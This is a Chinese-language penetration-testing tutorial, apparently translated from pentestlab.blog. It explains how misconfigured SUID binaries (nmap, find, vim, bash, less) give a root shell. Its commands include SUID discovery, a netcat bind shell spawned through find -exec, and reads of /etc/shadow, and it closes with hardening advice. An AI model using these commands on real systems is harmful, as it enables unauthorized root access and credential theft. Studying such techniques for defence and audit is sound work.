对SUID可提权Root Shell的探究

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

已知的可以用来提权的Linux可执行文件有:

Ø Nmap

Ø Vim

Ø find

Ø Bash

Ø More

Ø Less

Ø Nano

Ø cp

下面的命令可以发现所有的系统中运行的SUID可执行文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 

discovery-of-suid-executables.png

上面的所有二进制文件都可以在root权限下运行,因为他们的owner是root,并且他们的权限中含有s。s权限使一般使用者临时具有该文件所属主/组的执行权限。

ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap

discovery-of-suid-executables.png

Nmap

早版本的Nmap(2.02到5.21)有交互模式,允许用户执行shell命令。Nmap也是root权限下运行的二进制文件。

nmap -v 

discovery-of-suid-executables.png

通过参数interactive可以进入交互模式

nmap --interactive

discovery-of-suid-executables.png

下面的命令可以对shell提权

nmap> !sh
sh-3.2# whoami
root

discovery-of-suid-executables.png

Metasploit也有利用SUID Nmap进行提权攻击

exploit/unix/local/setuid_nmap

Find

如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。

touch pentestlab
find pentestlab -exec whoami \;

find-command-execution.png

主流的Linux操作系统都安装了netcat,可以将该命令提权为root shell。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

find-command-execution.png

连接开放的端口可以进行root shell提权

 

netcat 192.168.1.189 5555

id

cat /etc/shadow

find-command-execution.png

Vim

如果vim以SUID运行,就会继承root用户的权限,可以读取系统中所有的文件。

vim.tiny /etc/shadow

find-command-execution.png

通过vim运行shell

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

vim-root-shell.png

Bash

下面的命令可以以root权限打开bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

bash-root-shell.png

Less

Less和more都可以执行提权的shell

 

less /etc/passwd

!/bin/sh

bash-root-shell.png

安全建议

事实证明,通过配置不准确的SUID执行文件可以进行root shell提权。安全管理员应该评估所有的SUID二进制文件,判断是否需要以高权限的用户运行,尤其应该关注可以执行代码和写数据的应用。

*来源:https://pentestlab.blog/2017/09/25/suid-executables/